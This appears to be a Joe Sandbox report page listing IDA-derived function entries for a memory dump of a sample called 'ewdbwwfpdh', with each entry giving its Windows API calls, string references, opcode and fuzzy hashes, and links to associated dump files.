Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: bdc2e3cae48a074fa4084accc3790c6353079dfdbbec1aae55b38ae4c103bca4
Instruction ID: 37827dd887648fd92096d675a03eba6cd0d2ddf613cd170d38cbf26aa8f3ecc6
Opcode Fuzzy Hash: bdc2e3cae48a074fa4084accc3790c6353079dfdbbec1aae55b38ae4c103bca4
Instruction Fuzzy Hash: 4C318F71110306AFDF219E78DC45BEA7BA9FB59334F208719FA79931E2D770A8608750

Uniqueness

Uniqueness Score: -1.00%

Function 00204817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 0020489F
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 002048B3
SendMessageW.USER32(?,00001002,00000000,?), ref: 002048D7

Strings

SysMonthCal32, xrefs: 0020486A

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 9d06dbae1fcfb2c3e938c26760dd0bde4625c3b18b11507a015b54a9156360a8
Instruction ID: 294aa7633ab80abf2ae32bbbf2f4231d2fe635532db7a433676e26fb2d9efaa2
Opcode Fuzzy Hash: 9d06dbae1fcfb2c3e938c26760dd0bde4625c3b18b11507a015b54a9156360a8
Instruction Fuzzy Hash: 8A21D172610319BFDF159F90DC46FEA3B79EF88724F104214FA156B1D1D6B1A8618BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00204116 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0020419F
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 002041AF
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 002041D5

Strings

Listbox, xrefs: 0020416E

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 3f562222e23972364b5ad6d49300286eaf055a0cb0a9d5fbc4a4cff4c7ba42e3
Instruction ID: fe18c8abe81867a9344d49afbc1e9a70716e44beb12d0d7064f728e445eded14
Opcode Fuzzy Hash: 3f562222e23972364b5ad6d49300286eaf055a0cb0a9d5fbc4a4cff4c7ba42e3
Instruction Fuzzy Hash: 0721C272620319BBEF119F54DC85FAB776EEF99750F00C114FA089B1D1C671ACA287A0

Uniqueness

Uniqueness Score: -1.00%

Function 00204B4A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00204BAE
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00204BC3
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00204BD0

Strings

msctls_trackbar32, xrefs: 00204B85

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 61a5a0cdfd711a82bccf26f0e665bd5d5221850c12c6535c235d130e4db311d4
Instruction ID: 62d402d6851219bc4182b007d2b9fa50a3239f4061044f23701cd54d9192792c
Opcode Fuzzy Hash: 61a5a0cdfd711a82bccf26f0e665bd5d5221850c12c6535c235d130e4db311d4
Instruction Fuzzy Hash: 92112371250308BEEF206E65CC06FAB7BA8EF85B18F014514FA54E20E1D671D8218B20

Uniqueness

Uniqueness Score: -1.00%

Function 002061E1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00206220
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 0020624D
DrawMenuBar.USER32(?), ref: 0020625C

Strings

0, xrefs: 002061EE

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: 8aa9c4512bd7e46df0ddb8ec273572342178211183b4ff9a7042cf5d5efb0837
Instruction ID: 8389cc425b0c78308d88acb4ee9f5346514ca8803678086517bd512868122b3f
Opcode Fuzzy Hash: 8aa9c4512bd7e46df0ddb8ec273572342178211183b4ff9a7042cf5d5efb0837
Instruction Fuzzy Hash: D6016931511318EFDB219F51DC88BAA7FB4FF48351F1480AAF849D6192DB708AA4EF21

Uniqueness

Uniqueness Score: -1.00%

Function 001D090F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 298ae986d6758492fedbceeea6f93812f449149b70276587c1d77128a90bd1b4
Instruction ID: e21aa6b5686132d4b97d554a65fe2d855c96ad0cb3acec2fe05d268eaeca245c
Opcode Fuzzy Hash: 298ae986d6758492fedbceeea6f93812f449149b70276587c1d77128a90bd1b4
Instruction Fuzzy Hash: B7C15A75A0020AEFDB15CFA4C894BAAB7B5FF48704F11859AE505EB351D731EE81CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001A4210 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001A429B
__alldvrm.LIBCMT ref: 001A449C
__alldvrm.LIBCMT ref: 001A44BE

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 173a905e0583d248f4586312a6838000a577cfe73f6efb9ac5c35750ff0a0cfb
Instruction ID: 5d10387cdb3386f3f2b47d15122336c7767f2d1cf96afc0e583403a9d38d5986
Opcode Fuzzy Hash: 173a905e0583d248f4586312a6838000a577cfe73f6efb9ac5c35750ff0a0cfb
Instruction Fuzzy Hash: 83A1497AA003969FDB25CF58C8917BEBBE4EFAA310F18416DE5859B241C3B48D41C750

Uniqueness

Uniqueness Score: -1.00%

Function 001D0CC6 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00210BD4,?), ref: 001D0E80
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00210BD4,?), ref: 001D0E98
CLSIDFromProgID.OLE32(?,?,00000000,0020DCE0,000000FF,?,00000000,00000800,00000000,?,00210BD4,?), ref: 001D0EBD
_memcmp.LIBVCRUNTIME ref: 001D0EDE

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 2978c1dce115e25b5f32946abb753eedd2baec30f417f5c776c4751e00e15f25
Instruction ID: 09d95045161d0e9f56d731f09bc3cc0340513975204184bd4dc7d9410d122299
Opcode Fuzzy Hash: 2978c1dce115e25b5f32946abb753eedd2baec30f417f5c776c4751e00e15f25
Instruction Fuzzy Hash: 5E810971A00209EFCB05DFD4C984EEEB7B9FF89315F204599E506AB250DB71AE46CB60

Uniqueness

Uniqueness Score: -1.00%

Function 001F2433 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 001F245A
WSAGetLastError.WSOCK32 ref: 001F2468
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 001F24E7
WSAGetLastError.WSOCK32 ref: 001F24F1

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 4313dce0d3f4d2fb399a7c51287da911464d767e58fa08b63997a992ada73127
Instruction ID: 5c95e96ce26a143c7d2cab14cf62ab8590369bceb95dc1f048262850c979468b
Opcode Fuzzy Hash: 4313dce0d3f4d2fb399a7c51287da911464d767e58fa08b63997a992ada73127
Instruction Fuzzy Hash: 0B41B375600200AFE720AF24C896F7A77E5AB14718F54C488FA199F2D3D772ED42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00206BD7 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00206C41
ScreenToClient.USER32(?,?), ref: 00206C74
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00206CE1

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 9dc5f4593c4667930eb4815c8f89829fedc4a5e5a97508d52372fbb5d15cefba
Instruction ID: c85aafbc3e6e35542ac88c3bfc0319ae1b3b0a3b5cc1896c1eb716d5d0e0b925
Opcode Fuzzy Hash: 9dc5f4593c4667930eb4815c8f89829fedc4a5e5a97508d52372fbb5d15cefba
Instruction Fuzzy Hash: A1516174A10209EFDF14CF54D9889AE7BB5FF45360F208159F8659B2A1D730EDA1CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001E6033 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 001E60DD
GetLastError.KERNEL32(?,00000000), ref: 001E6103
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 001E6128
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 001E6154

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 41e2a800184c73074952503037766e333785f33ae89a28f1a131e26175e5c952
Instruction ID: b78ad3c09e591c99e04b085c0613385ab5ff88b39abdedf1ccef64410e897bae
Opcode Fuzzy Hash: 41e2a800184c73074952503037766e333785f33ae89a28f1a131e26175e5c952
Instruction Fuzzy Hash: BA414E39600650DFCB11EF15C458A5EBBF2EFA9754B19C488E84A9B362CB30FD41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00202039 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0020204A

Part of subcall function 001D42CC: GetWindowThreadProcessId.USER32(?,00000000), ref: 001D42E6
Part of subcall function 001D42CC: GetCurrentThreadId.KERNEL32 ref: 001D42ED
Part of subcall function 001D42CC: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,001D2E43), ref: 001D42F4

GetCaretPos.USER32(?), ref: 0020205E
ClientToScreen.USER32(00000000,?), ref: 002020AB
GetForegroundWindow.USER32 ref: 002020B1

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 810a053dd438816871e9025118ffe27c01ad60321ce720314750d882c52c921c
Instruction ID: 28017be116ce4f99aeb25b80a165086d661804be7dc8bcc762d689a6416af20c
Opcode Fuzzy Hash: 810a053dd438816871e9025118ffe27c01ad60321ce720314750d882c52c921c
Instruction Fuzzy Hash: 7E314371D00209AFC704EFA6C885CAEB7F9EF58304B1084AAE419E7252D771DE05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001DE7C1 Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 00174154: _wcslen.LIBCMT ref: 00174159

_wcslen.LIBCMT ref: 001DE7F7
_wcslen.LIBCMT ref: 001DE80E
_wcslen.LIBCMT ref: 001DE839
GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 001DE844

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: _wcslen$ExtentPoint32Text
String ID:
API String ID: 3763101759-0
Opcode ID: a21f4f5d6db58abb952c6e030649a3b921fa13def5c62b0d8c590a29d0931c75
Instruction ID: 081372788e4bea61641d3c0aec3b217df5e57de1e7542d0b2ecf3dcafac6a282
Opcode Fuzzy Hash: a21f4f5d6db58abb952c6e030649a3b921fa13def5c62b0d8c590a29d0931c75
Instruction Fuzzy Hash: FD218171D00214AFDB11EFA8D981BAEB7F8EF55760F1440A5E904AF385D7709E418BA1

Uniqueness

Uniqueness Score: -1.00%

Function 001D8184 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001D960C: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,001D8199,?,000000FF,?,001D8FE3,00000000,?,0000001C,?,?), ref: 001D961B
Part of subcall function 001D960C: lstrcpyW.KERNEL32(00000000,?), ref: 001D9641
Part of subcall function 001D960C: lstrcmpiW.KERNEL32(00000000,?,001D8199,?,000000FF,?,001D8FE3,00000000,?,0000001C,?,?), ref: 001D9672

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,001D8FE3,00000000,?,0000001C,?,?,00000000), ref: 001D81B2
lstrcpyW.KERNEL32(00000000,?), ref: 001D81D8
lstrcmpiW.KERNEL32(00000002,cdecl,?,001D8FE3,00000000,?,0000001C,?,?,00000000), ref: 001D8213

Strings

cdecl, xrefs: 001D820A

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 0f4a3ee63776405ce16c5fd01fa1bca3698cd5e19b5249e9dd8231f889e20adf
Instruction ID: c5077bf9ab12c9c7eba82e98fc7aa687966b2cfb613e6b228d238fe0a5aa3b74
Opcode Fuzzy Hash: 0f4a3ee63776405ce16c5fd01fa1bca3698cd5e19b5249e9dd8231f889e20adf
Instruction Fuzzy Hash: EE11D37A200351ABCB156F78D849A7A77B9FF99750B50402AF906CB390EF31D811C790

Uniqueness

Uniqueness Score: -1.00%

Function 00208621 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 0020866A
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00208689
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 002086A1
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,001EC10A,00000000), ref: 002086CA

Part of subcall function 00172441: GetWindowLongW.USER32(00000000,000000EB), ref: 00172452

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: bff56e8e7f6e661a5c49ae208435173cb1f6c475b7e77dfdce8907e6b4826f2a
Instruction ID: ad52256694e5fb55075d0e27812f0c34d11845f27f3701735fc593cb573a2c4b
Opcode Fuzzy Hash: bff56e8e7f6e661a5c49ae208435173cb1f6c475b7e77dfdce8907e6b4826f2a
Instruction Fuzzy Hash: 9811A231921325AFCB118F69EC08A6B3BA9AB45370F224724F979D72F1DB319921CB50

Uniqueness

Uniqueness Score: -1.00%

Function 001A2099 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47f4ca072741a5af61157618e07048d1f398a35dd89077178b2e4667dc7fdbb5
Instruction ID: 13b393c401705f368967bceff3831a36936a20648386d2445fca85c0a77cb10a
Opcode Fuzzy Hash: 47f4ca072741a5af61157618e07048d1f398a35dd89077178b2e4667dc7fdbb5
Instruction Fuzzy Hash: 68018FBA6096157EE72126BC7CC5F27665DDF533B8B310325F621A11D2DB748C414560

Uniqueness

Uniqueness Score: -1.00%

Function 001D22B7 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 001D22D7
SendMessageW.USER32(?,000000C9,?,00000000), ref: 001D22E9
SendMessageW.USER32(?,000000C9,?,00000000), ref: 001D22FF
SendMessageW.USER32(?,000000C9,?,00000000), ref: 001D231A

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3f506b9733790e5985326a1af75c2ea0c8a86eb892f9a27eef3b49661ac46cf4
Instruction ID: 1c6a6e19c747f4ac4421d166a667d3361eff4b95b7fdd0b58aeb68da6d7cef32
Opcode Fuzzy Hash: 3f506b9733790e5985326a1af75c2ea0c8a86eb892f9a27eef3b49661ac46cf4
Instruction Fuzzy Hash: AE11F73A901228FFEB119BA5C985F9DBBB8FB18750F210092EA10B7290D7716E10DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0020A852 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00172441: GetWindowLongW.USER32(00000000,000000EB), ref: 00172452

GetClientRect.USER32(?,?), ref: 0020A890
GetCursorPos.USER32(?), ref: 0020A89A
ScreenToClient.USER32(?,?), ref: 0020A8A5
DefDlgProcW.USER32(?,00000020,?,00000000,?), ref: 0020A8D9

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: c2a4ee59ba002e97767c2751912efa1f370966ab25832283be8d11b1dd3aad47
Instruction ID: 61eaa0fc485789a0548f30423c1d2ed845fde34772ecb42fadbe9fe10a9683fc
Opcode Fuzzy Hash: c2a4ee59ba002e97767c2751912efa1f370966ab25832283be8d11b1dd3aad47
Instruction Fuzzy Hash: B4110A7191121AEFDF14DF94E8499EE77B8EB05300F508455F912E3192D730BAA2CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 001DEA02 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

